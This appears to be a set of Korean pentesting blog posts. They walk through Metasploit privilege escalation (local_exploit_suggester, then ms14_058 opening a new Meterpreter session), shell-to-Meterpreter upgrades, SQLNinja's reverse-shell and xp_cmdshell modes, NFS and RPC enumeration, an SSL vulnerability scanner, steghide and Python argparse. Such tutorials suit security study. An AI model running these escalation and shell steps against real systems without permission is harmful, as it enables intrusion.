[METASPLOIT] /local_exploit_suggester 모듈을 이용한 Local Exploit 찾기

Metasploit을 통해 대상 시스템에 침투했을 경우 우리는 권한 상승을 위해 Local 취약점을 찾기 위해 노력할 것입니다. 물론 취약한 어플리케이션이 눈에 잘 띄지는 않지만요.

Meterpreter Shell에서 사용가능한 모듈 중 이러한 과정을 자동화해준 모듈이 있습니다.
바로 "local_exploit_suggester" 인데요, 오늘은 이 모듈에 대해 이야기할까합니다.


이 모듈은 Meterpreter Shell에서 Local System의 취약점을 쉽게 찾기 위해서 만들어진 모듈입니다.

post 모듈 중 recon에 포함되어 있으며, 특별하게 옵션값이 많이 필요하진 않습니다.

위치: post/multi/recon/local_exploit_suggester

hahwul post(local_exploit_suggester) #> show options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION          1                yes       The session to run this module on.
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits

local_exploit_suggester를 이용하여 Meterpreter Shell 에서 모듈 사용하기

일단 exploit이 성공하여 Meterpreter Shell을 획득하였다는 가정하에 출발합니다.

hahwul exploit(handler) #>
[*] Sending stage (957999 bytes) to
[*] Meterpreter session 1 opened ( -> at 2016-02-26 10:35:48 +0900

hahwul exploit(handler) #>
hahwul exploit(handler) #> sessions -l

Active sessions

  Id  Type                   Information                                      Connection
  --  ----                   -----------                                      ----------
  1   meterpreter x86/win32  BEGINNER-4CAED9\Administrator @ BEGINNER-4CAED9 -> (

위 상태 기준으로 session 1번에 meterpreter shell 이 동작하고 있습니다.

이제 오늘 사용하려고 한 local_exploit_suggester 모듈을 불러옵니다.
(-z 옵션으로 세션으로 넘겨놓은거고, 만약 meterpreter shell에서 직접 하려면
background 명령으로 Metasploit으로 넘어가 해당 모듈을 실행시켜줍니다.)

hahwul exploit(handler) #> use post/multi/recon/local_exploit_suggester
hahwul post(local_exploit_suggester) #> sessions -l

Active sessions

  Id  Type                   Information                                      Connection
  --  ----                   -----------                                      ----------
  1   meterpreter x86/win32  BEGINNER-4CAED9\Administrator @ BEGINNER-4CAED9 -> (

hahwul post(local_exploit_suggester) #> set SESSION 1

Option에서 필요한 데이터는 SESSION 밖에 없기 때문에 하나 있는 session number를 입력해주면 옵션 설정은 끝이납니다.

이제 run을 통해 post 모듈을 전송하면 Meterpreter Shell로 local_exploit_suggester 모듈이 전송되며, Local System의 취약점을 자동으로 찾게됩니다.

hahwul post(local_exploit_suggester) #> run
[*] - Collecting local exploits for x86/windows...
[*] - 31 exploit checks are being tried...
[+] - exploit/windows/local/ms10_015_kitrap0d: The target service is running, but could not be validated.
[+] - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.

돌려본 결과 3개의 Exploit 가능한 취약점이 확인되었네요.
여기서 하나 골라서 "ms14_058" 취약점으로 테스트를 해보겠습니다.

위에 저 부분을 copy and paste하여서 exploit을 사용해줍니다.

hahwul post(local_exploit_suggester) #> use exploit/windows/local/ms14_058_track_popup_menu
hahwul exploit(ms14_058_track_popup_menu) #> show options

Module options (exploit/windows/local/ms14_058_track_popup_menu):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Local Exploit이기 때문에 생각보다 옵션이 많지 않습니다. 이친구는 SESSION 하나밖에 없군요.
우리가 연결해놓은 session 1을 옵션값으로 넣어주고 실행합니다.

hahwul exploit(ms14_058_track_popup_menu) #> set SESSION 1
hahwul exploit(ms14_058_track_popup_menu) #> run

[*] Started reverse TCP handler on
[*] Launching notepad to host the exploit...
[+] Process 1816 launched.
[*] Reflectively injecting the exploit DLL into 1816...
[*] Injecting exploit into 1816...
[*] Exploit injected. Injecting payload into 1816...
[*] Payload injected. Executing exploit...
[*] Sending stage (957999 bytes) to
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 2 opened ( -> at 2016-02-26 10:38:59 +0900

exploit 결과 성공하여 session 2가 생성되었습니다.

세션을 확인해보면 2개가 되어있지요.
hahwul post(local_exploit_suggester) #> sessions -l

Active sessions

  Id  Type                   Information                                      Connection
  --  ----                   -----------                                      ----------
  1   meterpreter x86/win32  BEGINNER-4CAED9\Administrator @ BEGINNER-4CAED9 -> (
  2   meterpreter x86/win32  BEGINNER-4CAED9\Administrator @ BEGINNER-4CAED9 -> (

hahwul post(local_exploit_suggester) #> sessions -i 2
[*] Starting interaction with 2...

meterpreter >
meterpreter > migrate 1944
[*] Migrating from 1816 to 1944...
[*] Migration completed successfully.

POST 모듈은 굉장히 심플하고 사용하기도 편하기 때문에 좀 하다보면 손에 익숙해집니다.
귀찮음을 약간이나마 해결해줄 수 있는 local_exploit_suggester 모듈이였습니다. :)
Share: | Coffee Me:


[HACKING] steghide를 이용한 Steganography(Embed/Extract Steganography with steghide)

Steganography와 steghide

Steganography (US Listeni/ˌstɛ.ɡəˈnɔː.ɡrə.fi/, UK /ˌstɛɡ.əˈnɒɡ.rə.fi/) is the practice of concealing a file, message, image, or video within another file, message, image, or video. The word steganography combines the Greek words steganos (στεγανός), meaning "covered, concealed, or protected", and graphein (γράφειν) meaning "writing".

The first recorded use of the term was in 1499 by Johannes Trithemius in his Steganographia, a treatise on cryptography and steganography, disguised as a book on magic. Generally, the hidden messages appear to be (or be part of) something else: images, articles, shopping lists, or some other cover text. For example, the hidden message may be in invisible ink between the visible lines of a private letter. Some implementations of steganography that lack a shared secret are forms of security through obscurity, whereas key-dependent steganographic schemes adhere to Kerckhoffs's principle.[1]

The advantage of steganography over cryptography alone is that the intended secret message does not attract attention to itself as an object of scrutiny. Plainly visible encrypted messages—no matter how unbreakable—arouse interest, and may in themselves be incriminating in countries where encryption is illegal.[2] Thus, whereas cryptography is the practice of protecting the contents of a message alone, steganography is concerned with concealing the fact that a secret message is being sent, as well as concealing the contents of the message.

Steganography includes the concealment of information within computer files. In digital steganography, electronic communications may include steganographic coding inside of a transport layer, such as a document file, image file, program or protocol. Media files are ideal for steganographic transmission because of their large size. For example, a sender might start with an innocuous image file and adjust the color of every 100th pixel to correspond to a letter in the alphabet, a change so subtle that someone not specifically looking for it is unlikely to notice it.

Steghide is an open source Steganography software that lets you hide your secret file in image or audio file. You will not notice any change in the image or audio file. However, your secret file will be inside the original image or audio file. It is command line software. Therefore, you need to learn the command to use the tool. Commands will be used to embed files in the image or audio file. In addition, to extract your file from image or audio file, you need to use other command.

See this link to learn how to use this tool: http://steghide.sourceforge.net/documentation.php

This tool was developed many years ago but still works well. It runs only on Windows 32 bit versions.

steghide 설치하기(Install steghide)

#> apt-get install steghide

apt 패키지 매니저를 이용해 쉽게 설치합니다.

steghide를 이용한 Steganography

일단 이미지에 넣은 데이터(.txt)와 이미지 파일을 준비합니다.

 #> ll
합계 144
drwxrwxr-x 2 hahwul hahwul   4096  2월 19 14:36 .
drwxr-xr-x 4 hahwul hahwul   4096  2월 19 14:33 ..
-rw-r----- 1 hahwul hahwul 129991  8월 26 15:35 kitten-floating-on-a-bubble-artistic-hd-wallpaper-1920x1080-5156.jpg
-rw-rw-r-- 1 hahwul hahwul     35  2월 19 14:35 secret.txt

secret.txt 의 내용을 확인해보면 아래와 같이 간단한 문자열을 집어넣었습니다.
 #> cat secret.txt
hahwul.steganography with steghide

이제 steghide를 통해 이미지에 secret.txt의 문자열을 넣어봅니다.

 #> steghide embed -cf kitten-floating-on-a-bubble-artistic-hd-wallpaper-1920x1080-5156.jpg  -ef secret.txt
Enter passphrase:
Re-Enter passphrase:
embedding "secret.txt" in "kitten-floating-on-a-bubble-artistic-hd-wallpaper-1920x1080-5156.jpg"... done

embed 옵션을 주어 주입할 수 있고, 과정중 키가되는 값을 입력하여줍니다. 이 값은 나중에 숨겨진 문자열을 꺼내오기 위해서 사용되지요.

다시 재 조립된 사진 내 삽입한 문자열이 있나 hexdump를 통해 보았지만.. 아무것도 나타나지 않습니다.
 #> hexdump -C kitten-floating-on-a-bubble-artistic-hd-wallpaper-1920x1080-5156.jpg
00000000  ff d8 ff e0 00 10 4a 46  49 46 00 01 01 01 00 48  |......JFIF.....H|
00000010  00 48 00 00 ff db 00 43  00 03 02 02 02 02 02 03  |.H.....C........|
00000020  02 02 02 03 03 03 03 04  06 04 04 04 04 04 08 06  |................|
00000030  06 05 06 09 08 0a 0a 09  08 09 09 0a 0c 0f 0c 0a  |................|
00000040  0b 0e 0b 09 09 0d 11 0d  0e 0f 10 10 11 10 0a 0c  |................|
00000050  12 13 12 10 13 0f 10 10  10 ff db 00 43 01 03 03  |............C...|
00000060  03 04 03 04 08 04 04 08  10 0b 09 0b 10 10 10 10  |................|
00000070  10 10 10 10 10 10 10 10  10 10 10 10 10 10 10 10  |................|
00000090  10 10 10 10 10 10 10 10  10 10 10 10 10 10 ff c0  |................|
000000a0  00 11 08 04 38 07 80 03  01 11 00 02 11 01 03 11  |....8...........|
000000b0  01 ff c4 00 1f 00 00 01  05 01 01 01 01 01 01 00  |................|
000000c0  00 00 00 00 00 00 00 01  02 03 04 05 06 07 08 09  |................|
000000d0  0a 0b ff c4 00 b5 10 00  02 01 03 03 02 04 03 05  |................|
000000e0  05 04 04 00 00 01 7d 01  02 03 00 04 11 05 12 21  |......}........!|
000000f0  31 41 06 13 51 61 07 22  71 14 32 81 91 a1 08 23  |1A..Qa."q.2....#|
00000100  42 b1 c1 15 52 d1 f0 24  33 62 72 82 09 0a 16 17  |B...R..$3br.....|
00000110  18 19 1a 25 26 27 28 29  2a 34 35 36 37 38 39 3a  |...%&'()*456789:|
00000120  43 44 45 46 47 48 49 4a  53 54 55 56 57 58 59 5a  |CDEFGHIJSTUVWXYZ|
00000130  63 64 65 66 67 68 69 6a  73 74 75 76 77 78 79 7a  |cdefghijstuvwxyz|

자 이제 이 파일을 다시 풀어볼까요?
일단 output 확인을 위해서 삽입한 파일(secret.txt)를 이름을 변경해주었습니다.

#> mv secret.txt sec.txt
이제 extract 옵션을 이용하여 해당 파일을 풀어줍니다.

#> steghide extract -sf kitten-floating-on-a-bubble-artistic-hd-wallpaper-1920x1080-5156.jpg
Enter passphrase:
wrote extracted data to "secret.txt".

아까 입력한 키를 넣고 해제하자 secret.txt 파일이 생성되었습니다.
cat을 통해 내용을 확인하면 아까 입력한 문자열이 확인됩니다.

#> cat secret.txt
hahwul.steganography with steghide

steghide options

옵션 관련 설명은 steghide 공식 사이트의 manpage에 잘 나와있으니 참고해주세요.

steghide version 0.5.1

the first argument must be one of the following:
 embed, --embed          embed data
 extract, --extract      extract data
 info, --info            display information about a cover- or stego-file
   info <filename>       display information about <filename>
 encinfo, --encinfo      display a list of supported encryption algorithms
 version, --version      display version information
 license, --license      display steghide's license
 help, --help            display this usage information

embedding options:
 -ef, --embedfile        select file to be embedded
   -ef <filename>        embed the file <filename>
 -cf, --coverfile        select cover-file
   -cf <filename>        embed into the file <filename>
 -p, --passphrase        specify passphrase
   -p <passphrase>       use <passphrase> to embed data
 -sf, --stegofile        select stego file
   -sf <filename>        write result to <filename> instead of cover-file
 -e, --encryption        select encryption parameters
   -e <a>[<m>]|<m>[<a>]  specify an encryption algorithm and/or mode
   -e none               do not encrypt data before embedding
 -z, --compress          compress data before embedding (default)
   -z <l>                 using level <l> (1 best speed...9 best compression)
 -Z, --dontcompress      do not compress data before embedding
 -K, --nochecksum        do not embed crc32 checksum of embedded data
 -N, --dontembedname     do not embed the name of the original file
 -f, --force             overwrite existing files
 -q, --quiet             suppress information messages
 -v, --verbose           display detailed information

extracting options:
 -sf, --stegofile        select stego file
   -sf <filename>        extract data from <filename>
 -p, --passphrase        specify passphrase
   -p <passphrase>       use <passphrase> to extract data
 -xf, --extractfile      select file name for extracted data
   -xf <filename>        write the extracted data to <filename>
 -f, --force             overwrite existing files
 -q, --quiet             suppress information messages
 -v, --verbose           display detailed information

options for the info command:
 -p, --passphrase        specify passphrase
   -p <passphrase>       use <passphrase> to get info about embedded data

To embed emb.txt in cvr.jpg: steghide embed -cf cvr.jpg -ef emb.txt
To extract embedded data from stg.jpg: steghide extract -sf stg.jpg


Share: | Coffee Me:


[METASPLOIT] Default Shell을 Meterpreter Shell로 업그레이드하기(Nomal Shell to Meterpreter shell)

Metasploit 모듈 중 shell_to_meterpreter라는 POST 모듈이 있습니다. 이 모듈을 이용해서 reverse_tcp, bind_tcp 등 일반 쉘을 meterpreter shell로 업그레이드 할 수 있습니다.

shell_to_meterpreter Options

일단 해당 POST 모듈 사용을 위해 shell_to_meterpreter 모듈로 이동합니다.

hahwul exploit(handler) #> use post/multi/manage/shell_to_meterpreter

옵션을 보면 매우 심플합니다. HANDLER, LHOST, LPORT, SESSION 으로 구성됩니다.

hahwul post(shell_to_meterpreter) #> show options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on.

크게 중요한것만 보면 HANDLER는 해당 모듈이 동작할 때 meterpreter shell을 위해 추가로 handler를 돌릴 필요없이 해당 모듈에서 돌려주도록 설정하는 값입니다. Default로 yes로 되어 있으며, 별도로 handler가 동작중이라면 no로 변경하셔도 좋습니다.

LPORT는 해당 Shell로 넘어가는 POST 데이터와 handler에 모두 영향을 미치는 옵션값입니다.
이 값을 통해서 새롭게 열릴 Meterpreter 의 Port를 지정할 수 있습니다.

가장 중요한 SESSION은 현재 업그레이드 하려는 shell의 session 번호를 기입해줍니다.

shell_to_meterpreter 실행

위와같이 옵션 설정 후 실행 시 Meterpreter Shell의 데이터가 SESSION에 지정된 쉘로 넘어가며, 해당 쉘에서 추가로 해당 모듈이 만든 handler로 연결을 하게되어 meterpreter shell이 떨어지게 됩니다.

hahwul post(shell_to_meterpreter) #> run -z

[*] Upgrading session ID: 4
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on
[*] Starting the payload handler...
[*] Command stager progress: 1.66% (1699/102108 bytes)
[*] Command stager progress: 3.33% (3398/102108 bytes)
[*] Command stager progress: 4.99% (5097/102108 bytes)
[*] Command stager progress: 6.66% (6796/102108 bytes)
[*] Command stager progress: 8.32% (8495/102108 bytes)
[*] Command stager progress: 9.98% (10194/102108 bytes)
[*] Command stager progress: 11.65% (11893/102108 bytes)

이후 sessions을 통해 확인해보면 meterpreter shell이 열린것을 확인할 수 있습니다.
hahwul post(shell_to_meterpreter) #> sessions -l

Active sessions

  Id  Type                   Information                                      Connection
  --  ----                   -----------                                      ----------
  1   meterpreter x86/win32  BEGINNER-4CAED9\Administrator @ BEGINNER-4CAED9 -> (

Share: | Coffee Me:


[WEB HACKING] SQLNinja를 이용한 SQL Injection(Install SQLNinja and SQL Injection with SQLNinja)


SqlMap과 함께 SQL Injection Testing 도구로 유명한 툴입니다.
perl 기반으로 제작되었으며, Kali Default Tool에도 포함될 만큼 좋은 성능을 자랑하지요.

SqlMap과 많이 비교되긴 합니다만 장점을 뽑자면 연동성과 Reverse Shell과 같이 바로 강력한 영향력을 보여줄 수 있다 정도인것 같습니다.

SqlMap이 스캐너의 성격을 띈다면 SqlNinja는 Payload쪽으로 치중된 모습을 보입니다.


먼저 sqlninja 공식 홈페에지(http://sqlninja.sourceforge.net/download.html) 에서 0.2.999나 0.2.6-r1을 다운로드 받습니다.
stable version 인지 testing version 인지 차이가 있습니다.

다운로드 후 압축을 해제합니다.

#> wget https://sourceforge.net/projects/sqlninja/files/sqlninja/sqlninja-0.2.6-r1.tgz
#> tar zxvf sqlninja-0.2.3-r1.tgz
#> cd sqlninja-0.2.3-r1

SQLNINJA는 Perl로 제작된 툴이며 아래 패키지가 추가로 필요합니다.


간단하게 apt 패키지 매니저를 이용하여 설치하여 줍니다.

#> apt-get install libpcap0.8 libpcap0.8-dev
#> apt-get install libnetpacket-perl libnet-rawip-perl libnet-pcap-perl libnet-dns-perl libdbi-perl

apt 패키지 매니저 이외에도 perl 자체 기능을 통해 설치가 가능합니다.

#> perl –MCPAN –e ‘install NetPacket’
#> perl –MCPAN –e ‘install Net::Pcap’
#> perl –MCPAN –e ‘install Net::DNS’
#> perl –MCPAN –e ‘install Net::RawIP’
#> perl –MCPAN –e ‘install IO::Socket::SSL’

설치 후 실행해보면 잘 실행됨을 확인할 수 있습니다.
#> ./sqlninja
Sqlninja rel. 0.2.6-r1
Copyright (C) 2006-2011 icesurfer <r00t@northernfortress.net>
Usage: ./sqlninja
    -m <mode> : Required. Available modes are:
        t/test - test whether the injection is working
        f/fingerprint - fingerprint user, xp_cmdshell and more

SQL NINJA를 이용한 SQL Injection

sqlninja는 sqlninja 하단에 sqlninja.conf 파일을 통해 타켓과 URL을 지정하여 테스트를 진행합니다.

#> vim sqlninja.con.example
# "이 부분에 설정 값을 넣어줍니다."

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/200604    18 Firefox/1.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text    /plain;q=0.8,image/png,*/*
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Content-Type: application/x-www-form-urlencoded
Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx
Authorization: Basic yyyyyyyyyyyyyyyyyyyyy
Connection: close

이후 sqlninja를 실행하여 테스트를 진행합니다.
#> ./sqlninja -m f
Sqlninja rel. 0.2.6-r1
Copyright (C) 2006-2011 icesurfer <r00t@northernfortress.net>
[+] Parsing sqlninja.conf...
  - Host:
  - Port: 80
  - method: GET

sqlninja는 많은 모듈을 지원합니다.
    -m <mode> : Required. Available modes are:
        t/test - test whether the injection is working
        f/fingerprint - fingerprint user, xp_cmdshell and more
        b/bruteforce - bruteforce sa account
        e/escalation - add user to sysadmin server role
        x/resurrectxp - try to recreate xp_cmdshell
        u/upload - upload a .scr file
        s/dirshell - start a direct shell
        k/backscan - look for an open outbound port
        r/revshell - start a reverse shell
        d/dnstunnel - attempt a dns tunneled shell
        i/icmpshell - start a reverse ICMP shell
        c/sqlcmd - issue a 'blind' OS command
        m/metasploit - wrapper to Metasploit stagers

reverse shell 부터 metasploit 연동까지 좋은 기능을 많이 가지고 있네요.

간단하게 살펴봤습니다만.. 개인 분석 스타일에 따라 호불호가 좀 갈릴 것 같습니다.
저의 경우에는 burp를 많이 사용하기 때문에 유용할 것 같았지만.. sqlmap이 훨씬 편하고 좋더군요.

물론 잘 맞거나, 적응하면 매력있는 툴인 것은 확실합니다. :)
Share: | Coffee Me:


[SYSTEM HACKING] Remote NFS Mount 및 Metasploit nfs/nfsmount 모듈을 이용한 NFS Scan/Access

Mount 명령을 이용한 Remote NFS Mount

Linux, Unix 등에서 HDD,USB 등을 사용하기 위해서는 mount를 통해 OS와 해당 드라이브를 연결시켜주는 작업이 필요합니다. 랩톱에서 사용하는 Linux는 기본적으로 드라이브 연결 시 자동으로 mount 하는 기능을 가지고 있지요.

오늘은 이 mount 기능을 원격에서 연결하는 방법에 정리할까 합니다.

일반 http나 ftp 연결과 같이 프로토콜은 간단합니다.
[IP/Host]:[Directory] 와 같은 구조로 구성되며 실제 mount 구간을 표현하면 아래와 같습니다.

mount 명령을 이용해서 진행하면

#> mount -t nfs test

와 같이 입력 시 의 /dataDrive 라는 디렉토리를 원격으로 제 PC의 /test 라는 디렉토리와 mount 하게 됩니다.

MSF nfs/mfsmount 모듈을 이용한 NFS서비스 점검

타겟에 대해 분석하다보면 종종 NFS를 사용하는 서비스들이 나타납니다.
NFS의 접근을 허용할 가능성이 있기 때문에 확인을 진행하는것이 좋습니다.

아래 localhost(에는 nfs 서비스가 동작중이네요.

hahwul auxiliary(nfsmount) #> services -u


host             port   proto  name     state  info
----             ----   -----  ----     -----  ----  111    tcp    rpcbind  open  2049   tcp    nfs      open  2049   udp    nfsd     open   NFS Daemon 100005 v1

Port Scan을 통해 알아낸 NFS 동작여부를 확인한 테스터는 mfsmount 모듈을 이용하여 mount 가능한 디렉토리명을 확인합니다.

hahwul auxiliary(nfsmount) #> use auxiliary/scanner/nfs/nfsmount
hahwul auxiliary(nfsmount) #> hosts -R


address          mac  name             os_name  os_flavor  os_sp  purpose  info  comments
-------          ---  ----             -------  ---------  -----  -------  ----  --------  Linux               3.X    server        


hahwul auxiliary(nfsmount) #> run

[+] NFS Export: /data
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
hahwul auxiliary(nfsmount) #>

run 후 결과를 보면 NFS Export 구간에 /data 디렉토리가 존재함을 확인할 수 있습니다.
위에서 정리해놨던 mount 명령을 통해 해당 서비스에 접근해봅니다.

#> mount -t nfs /test
#> df
Filesystem                                            1K-blocks     Used Available Use% Mounted on
udev                                                    4041640        0   4041640   0% /dev
..중략..  10155008  1971200   8183808  20% /test

명령어는 알아둘수록 참 좋은것 같습니다. 보안하시는 분이 아니여도 local/remote mount에 대해 알아두시면 간간히 편한일이 생깁니다. :)

Share: | Coffee Me:

[SYSTEM HACKING] RPC Port Map Dump를 이용한 서비스 Port 확인

System에 오픈되어 있는 Port 를 확인하는 방법에는 여러가지가 있습니다.
대표적으로 port 에 대해 직접 요청하여 확인하는 방법(Syn Scan, XMAS 등등)이 있지요.
nmap을 통해 서비스에 있는 포트들에 대해 확인하게 되는데 이 중 rpc 관련 포트가 있다면 좀 더 세심하게 스캔이 가능합니다.

바로 RPC Port Map Dump라는 기법을 이용해서 서비스에서 사용중인 포트에 대해 점검할 수 있지요.
rpcbind(111) 이 포트가 있고 rpc가 공격자의 요청에 원하는 응답을 주어야 스캔이 가능합니다.
물론 종종 스캔이 가능한 서버들이 있지요. 간단하게 원리랑 Metasploit / Nmap을 이용해서 스캔하는 방법에 대해 알아볼까 합니다.


원래 portmap은 NFS사용 시 꼭 사용되는 데몬이며 RPC 서비스에 Port 를 매핑시켜줍니다.
이 친구에게 공격자가 Port를 확인하는 질의를 날려서 서비스에 동작하는 Port를 확인하는 방법이죠.

Local시스템에서는 rpcinfo라는 명령을 통해 쉽게 확인할 수 있습니다.
#> rpcinfo
   program version netid     address                service    owner
    100000    4    tcp6      ::.0.111               portmapper superuser
    100000    3    tcp6      ::.0.111               portmapper superuser
    100000    4    udp6      ::.0.111               portmapper superuser
    100000    3    udp6      ::.0.111               portmapper superuser
    100000    4    tcp          portmapper superuser

그러나 원격지에서 확인할 수 없도록 설정이 필요하지만 원격에서 조회가 가능한 서비스라면 공격자가  rpcbind 포트(111) 즉 PortMapper로 TCP Packet을 보내 RPC가 가지고 있는 서비스 리스트를 받아올 수 있습니다. 아래에서 Metasploit을 통해 확인하는 방법에 대해 보겠습니다.

Metasploit을 이용한 RPC Port Map Dump

auxiliary의 scanner 중 portmap 관련 스캐너가 있습니다.
해당 모듈을 이용하여 RPC Port Mamp Dump가 가능합니다.

hahwul auxiliary(portmap_amp) #> use auxiliary/scanner/portmap/portmap_amp
hahwul auxiliary(portmap_amp) #> hosts -R


address          mac  name             os_name  os_flavor  os_sp  purpose  info  comments
-------          ---  ----             -------  ---------  -----  -------  ----  --------  Linux               3.X    server        


hahwul auxiliary(portmap_amp) #> run

[*] Sending Portmap RPC probes to> (1 hosts)
[+] - Vulnerable to Portmap RPC DUMP (Program version: 2) amplification: No packet amplification and a 15x, 588-byte bandwidth amplification
[+] - Vulnerable to Portmap RPC GETSTAT amplification: No packet amplification and a 7x, 272-byte bandwidth amplification

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
hahwul auxiliary(portmap_amp) #>


Share: | Coffee Me:

[DEBIAN] Ctrl+Alt+F12(Ctrl+Alt+Fn) Black Screen 복구 방법(Ctrl+Alt+F12 / Return GUI)

리눅스 사용중 가끔 잘못눌러 블랙 스크린이 발생하는 경우가 있습니다.

대표적으로 Ctrl+Alt+F12로 블랙 스크린이 발생하며, 가상콘솔로 전환되기 때문에 사용자가 아무런 조작을 할 수 없는 현상이 나타납니다. 이럴때 Ctrl+Alt+F7로 쉽게 나올 수 있습니다.


아래 주소 읽어보시면 좋아요.


Share: | Coffee Me:


[WEB HACKING] A2SV(Auto Scanning to SSL Vulnerability) - SSL 취약점 점검을 위한 간단한 툴

하나의 시스템에 대해 긴 시간을 분석한다면 참 좋겠지만, 현실은 그렇지 않을 경우가 많습니다.
그렇기 때문에 빠르게 테스트가 필요한 것들은 Scanner와 같은 툴의 도움을 많이 받습니다.

오늘은 SSL 관련 취약점 테스트가 쉬운 스크립트에 대해 소개할까 합니다.
(제가 제 작품을 소개하고 있으니...)

A2SV란?(What is A2SV?)

Auto Scanning to SSL Vulnerability 의 약자로 이름을 만들었습니다.
그냥 쉽게 SSL에 대해 점검할 수 있다면 좋겠다. 라는 생각에서 출발하게 되었지요.

물론 상용/오픈소스 스캐너에서도 점검하는 항목이겠지만.. 그래도 하나쯤 만들어두면 편하게 사용할 수 있지요.

툴의 점검 코드는 공개된 POC코드를 이용하여 작성하였고, 신규 SSL 취약점이 나오면 더 추가하려고 생각중입니다.

설치하기(Install A2SV)

A. Download(clone) & Unpack A2SV

    git clone https://github.com/hahwul/a2sv.git
    cd a2sv

B. Install Python Package

    pip install argparse

C. Run A2SV

    python a2sv.py -h

간단한 사용법(Simple Manual)

usage: a2sv.py [-h] [-t T] [-p P] [-m M]

optional arguments:
-h, --help show this help message and exit
-t T Target URL/IP Address
-p P Custom Port / Default: 443
-m M Check Module

python a2sv.py -t
python a2sv.py -t -m heartbleed
python a2sv.py -t -p 8111

옵션 설명
 -t : 스캔할 타겟 IP/Host 입니다.
 -p : 스캔할 포트입니다. 미 지정 시 443(https)으로 세팅됩니다.
 -m : 단독 모듈로 실행합니다. (예를들어 CCS Injection 적용 시 CCS Injection에 대해서만 스캔을 진행합니다.

HaHwul #> a2sv -t github.com

                    █████╗ ██████╗ ███████╗██╗   ██╗
                   ██╔══██╗╚════██╗██╔════╝██║   ██║
                   ███████║ █████╔╝███████╗██║   ██║
    .o oOOOOOOOo   ██╔══██║██╔═══╝ ╚════██║╚██╗ ██╔╝        OOOo
    Ob.OOOOOOOo O  ██║  ██║███████╗███████║ ╚████╔╝   .adOOOOOOO
    OboO'''''''''' ╚═╝  ╚═╝╚══════╝╚══════╝  ╚═══╝  ''''''''''OO
    .OOOO'            `OOOOOOOOOOOOOOOOOOOOOOOOOO'            `OO
    OOOOO                 ''OOOOOOOOOOOOOOOO'`                oOO
   oOOOOOba.                .adOOOOOOOOOOba               .adOOOOo.
    Y           'OOOOOOOOOOOOOO: .oOOo. :OOOOOOOOOOO?'         :`
    :            .oO%OOOOOOOOOOo.OOOOOO.oOOOOOOOOOOOO?         .
                 '%o  OOOO'%OOOO%'%OOOOO'OOOOOO'OOO':
                      `$'  `OOOO' `O'Y ' `OOOO'  o             .
    .                  .     OP'          : o     .
                [Auto Scanning to SSL Vulnerability 1.3.7]
                       [By Hahwul / www.hahwul.com]
[SET] target => github.com
[SET] IP Address =>
[SET] target port => 443
[SET] include => All Module

[INF] Scan CCS Injection..
 - [LOG] TLSv1.2 rejected early CCS
 - [LOG] TLSv1.1 rejected early CCS
 - [LOG] TLSv1 rejected early CCS
 - [LOG] [SSLv3] Invalid handshake.
[RES] CCS Injection Result :: 0x00
[INF] Scan HeartBleed..
 - [LOG] Sending Client Hello...
 - [LOG] Waiting for Server Hello...
 - [LOG] Sending heartbeat request..
[RES] HeartBleed :: 0x00
 - [LOG] SSLv3 Rejected
[RES] SSLv3 POODLE :: 0x00
[INF] Scan OpenSSL FREAK..
 - [LOG] IP Check Ok.
 - [LOG] Start SSL Connection / Gathering Information
 - [LOG] Ending Get Information
 - [LOG] 'Cipher is EXP' not in Response
[RES] OpenSSL FREAK :: 0x00
 - [LOG] IP Check Ok.
 - [LOG] Start SSL Connection / Gathering Information
 - [LOG] Ending Get Information
 - [LOG] 'Cipher is DEH' not in Response
[RES] OpenSSL LOGJAM :: 0x00
[FIN] Scan Finish!
                              [A2SV REPORT]                          
 [PORT]: 443
 [SCAN TIME]: 2016-05-18 00:05:39.434007
Vulnerability  CVE           CVSS v2 Base Score         State        
============== ============= ========================== ================
CCS Injection  CVE-2014-0224 AV:N/AC:M/Au:N/C:P/I:P/A:P Not Vulnerable.
HeartBleed     CVE-2014-0160 AV:N/AC:M/Au:N/C:P/I:N/A:N Not Vulnerable.
SSLv3 POODLE   CVE-2014-3566 AV:N/AC:L/Au:N/C:P/I:N/A:N Not Vulnerable.
OpenSSL FREAK  CVE-2015-0204 AV:N/AC:M/Au:N/C:N/I:P/A:N Not Vulnerable.
OpenSSL LOGJAM CVE-2015-4000 AV:N/AC:M/Au:N/C:N/I:P/A:N Not Vulnerable.


아래 git에 같이 참여하셔도 좋습니다. (언제나 대환영)

Share: | Coffee Me:


[PYTHON] argparse 를 이용한 파이썬 스크립트 Argument 처리하기

저는 CmdLine 툴을 만들면 가장 처음 구상하게 되는것이 바로 Argv 즉 인자값 처리입니다.
전체적인 툴의 흐름과 소개를 담고 있어 먼저 만들게 되는데 Python에서는 argparse라는 라이브러리를 이용해서 쉽게 인자값을 처리할 수 있습니다.

오늘은 argparse를 통해서 스크립트 내 argv를 처리하는 것을 해볼까 합니다.


먼저 argparse를 import 합니다.

import argparse
이후부터 argparse의 기능을 사용할 수 있으며 argparse를 변수에 할당하여 사용합니다.

import argparse
parser = argparse.ArgumentParser()

pip install argparse

argparse Option 설정

할당받은 argparse에 add_argument를 통해 옵션 리스트를 추가할 수 있습니다.

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("--type", help="type options values..zz")
args = parser.parse_args()
